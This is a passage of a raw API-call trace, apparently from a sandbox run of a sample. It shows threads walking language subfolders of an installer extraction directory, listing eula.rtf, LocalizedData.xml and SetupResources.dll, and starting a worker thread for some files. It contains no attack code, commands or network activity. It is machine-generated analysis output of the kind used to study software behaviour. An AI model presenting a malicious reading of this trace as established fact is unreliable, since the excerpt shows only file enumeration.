cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.449] FindClose (in: hFindFile=0x33e0098 | out: hFindFile=0x33e0098) returned 1 [0062.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef748) returned 1 [0062.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0062.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dff98) returned 1 [0062.449] RtlExitUserThread (Status=0x0) Thread: id = 33 os_tid = 0xf9c [0060.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd358 [0060.278] wcscpy (in: _Dest=0x33fd358, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0060.278] wcscat (in: _Dest=0x33fd358, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0060.278] wcscat (in: _Dest=0x33fd358, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1028\\*") returned="C:\\588bce7c90097ed212\\1028\\*" [0060.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0280 [0060.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0060.282] wcscmp (_String1=".", _String2=".") returned 0 [0060.282] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.282] wcscmp (_String1="..", _String2=".") returned 1 [0060.282] wcscmp (_String1="..", _String2="..") returned 0 [0060.282] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.282] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.282] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2bb8 [0060.283] wcscpy (in: _Dest=0x33d2bb8, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0060.283] wcscat (in: _Dest=0x33d2bb8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0060.283] wcscat (in: _Dest=0x33d2bb8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf" [0062.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0062.450] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.450] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.450] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426ec8 [0062.450] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0062.450] wcscat (in: _Dest=0x3426ec8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0062.450] wcscat (in: _Dest=0x3426ec8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" [0062.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0062.451] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.451] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.451] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.451] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f0280 | out: lpFindFileData=0x33f0280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.451] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0062.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0280) returned 1 [0062.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0062.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df898) returned 1 [0062.454] RtlExitUserThread (Status=0x0) Thread: id = 34 os_tid = 0xf70 [0060.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd508 [0060.278] wcscpy (in: _Dest=0x33fd508, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0060.278] wcscat (in: _Dest=0x33fd508, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0060.278] wcscat (in: _Dest=0x33fd508, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1029\\*") returned="C:\\588bce7c90097ed212\\1029\\*" [0060.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2fb0 [0060.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0060.284] wcscmp (_String1=".", _String2=".") returned 0 [0060.284] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.284] wcscmp (_String1="..", _String2=".") returned 1 [0060.284] wcscmp (_String1="..", _String2="..") returned 0 [0060.284] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.284] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.284] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2c58 [0060.284] wcscpy (in: _Dest=0x33d2c58, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0060.284] wcscat (in: _Dest=0x33d2c58, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0060.284] wcscat (in: _Dest=0x33d2c58, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf" [0062.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0062.442] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.442] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.442] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x34272d8 [0062.442] wcscpy (in: _Dest=0x34272d8, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0062.442] wcscat (in: _Dest=0x34272d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0062.442] wcscat (in: _Dest=0x34272d8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" [0062.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34272d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0062.443] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.443] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.443] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.443] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2fb0 | out: lpFindFileData=0x33f2fb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.443] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0062.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2fb0) returned 1 [0062.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0062.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df858) returned 1 [0062.443] RtlExitUserThread (Status=0x0) Thread: id = 35 os_tid = 0x39c [0060.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcc98 [0060.279] wcscpy (in: _Dest=0x33fcc98, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0060.279] wcscat (in: _Dest=0x33fcc98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0060.279] wcscat (in: _Dest=0x33fcc98, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1030\\*") returned="C:\\588bce7c90097ed212\\1030\\*" [0060.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f38d8 [0060.279] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0118 [0060.283] wcscmp (_String1=".", _String2=".") returned 0 [0060.283] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.283] wcscmp (_String1="..", _String2=".") returned 1 [0060.283] wcscmp (_String1="..", _String2="..") returned 0 [0060.283] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.283] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.284] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2ca8 [0060.284] wcscpy (in: _Dest=0x33d2ca8, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0060.284] wcscat (in: _Dest=0x33d2ca8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0060.284] wcscat (in: _Dest=0x33d2ca8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf" [0062.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0062.444] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.444] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.444] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.444] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426ab8 [0062.445] wcscpy (in: _Dest=0x3426ab8, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0062.445] wcscat (in: _Dest=0x3426ab8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0062.445] wcscat (in: _Dest=0x3426ab8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" [0062.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0062.445] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.446] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.446] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.446] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f38d8 | out: lpFindFileData=0x33f38d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.446] FindClose (in: hFindFile=0x33e0118 | out: hFindFile=0x33e0118) returned 1 [0062.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f38d8) returned 1 [0062.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0062.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df918) returned 1 [0062.446] RtlExitUserThread (Status=0x0) Thread: id = 36 os_tid = 0xd60 [0060.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcce0 [0060.280] wcscpy (in: _Dest=0x33fcce0, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0060.280] wcscat (in: _Dest=0x33fcce0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0060.280] wcscat (in: _Dest=0x33fcce0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1031\\*") returned="C:\\588bce7c90097ed212\\1031\\*" [0060.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4200 [0060.280] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0058 [0060.282] wcscmp (_String1=".", _String2=".") returned 0 [0060.282] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.282] wcscmp (_String1="..", _String2=".") returned 1 [0060.282] wcscmp (_String1="..", _String2="..") returned 0 [0060.282] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.282] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.282] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341c110 [0060.282] wcscpy (in: _Dest=0x341c110, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0060.282] wcscat (in: _Dest=0x341c110, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0060.282] wcscat (in: _Dest=0x341c110, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf" [0062.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0062.455] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.455] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.455] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426b20 [0062.455] wcscpy (in: _Dest=0x3426b20, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0062.455] wcscat (in: _Dest=0x3426b20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0062.455] wcscat (in: _Dest=0x3426b20, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" [0062.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0062.456] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.456] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.456] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.456] FindNextFileW (in: hFindFile=0x33e0058, 